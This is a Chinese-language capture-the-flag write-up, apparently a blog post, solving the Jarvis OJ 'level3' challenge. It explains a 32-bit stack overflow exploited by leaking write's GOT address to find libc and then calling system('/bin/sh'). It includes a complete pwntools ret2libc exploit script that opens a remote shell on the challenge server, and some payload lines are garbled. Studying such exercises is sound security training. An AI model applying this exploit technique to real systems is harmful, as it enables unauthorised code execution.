level3

level 3

 在终端中输入file level3  查看为32位,

checksec level3命令,发现栈是不受保护,

在IDA中查看伪代码,

很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串,只有一个write函数,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串,

构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)

32(1),p32(4),与write函数在GOT表中的地址共同组成write函数的三个参数,

 

可以看出buf需要填充的字符是88的大小,由于是32位所以,‘A’*4

p32(plt_write)是write函数在plt表中的地址,因为调用一个函数相当于开辟一个新的栈,所以需要再返回一个函数地址指向main函数。。

要得到偏移量我们首先要的到某个函数在got表中储存的真实地址(本题在level3里的函数的地址,我看做libc库函数地址的一个映射),

偏移量就是got表里储存的地址与libc库函数地址的一个映射。。

用libc在ida中打开,找到write函数,双击就能得到libc中write函数的地址。

 

write函数在plt表中的地址,在level3中打开,

 

脚本如下:

 

from pwn import *
p=remote(“pwn2.jarvisoj.com”,9879)
e=ELF(“level3”)
libc=ELF(“libc-2.19.so”)
writ_a=e.symbols[‘write’]
rea=0x08048484
got_write=e.got[‘write’]

p.recv()
payload=(0x88+4)‘A’+p32(writ_a)+p32(rea)+p32(1)+p32(got_write)+p32(4)
p.send(payload)
aaa=p.recv(4)
true_write=u32(aaa)
print hex(true_write)
x=true_write-libc.symbols[‘write’]
true_bin=x+libc.search("/bin/sh").next()
true_sys=x+libc.symbols[‘system’]
payload=(0x88+4)‘A’+p32(true_sys)+p32(0)+p32(true_bin)
p.send(payload)
p.interactive()


 

脚本写好后,在桌面下Python 脚本名字

然后ls 最后cat出flag,

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值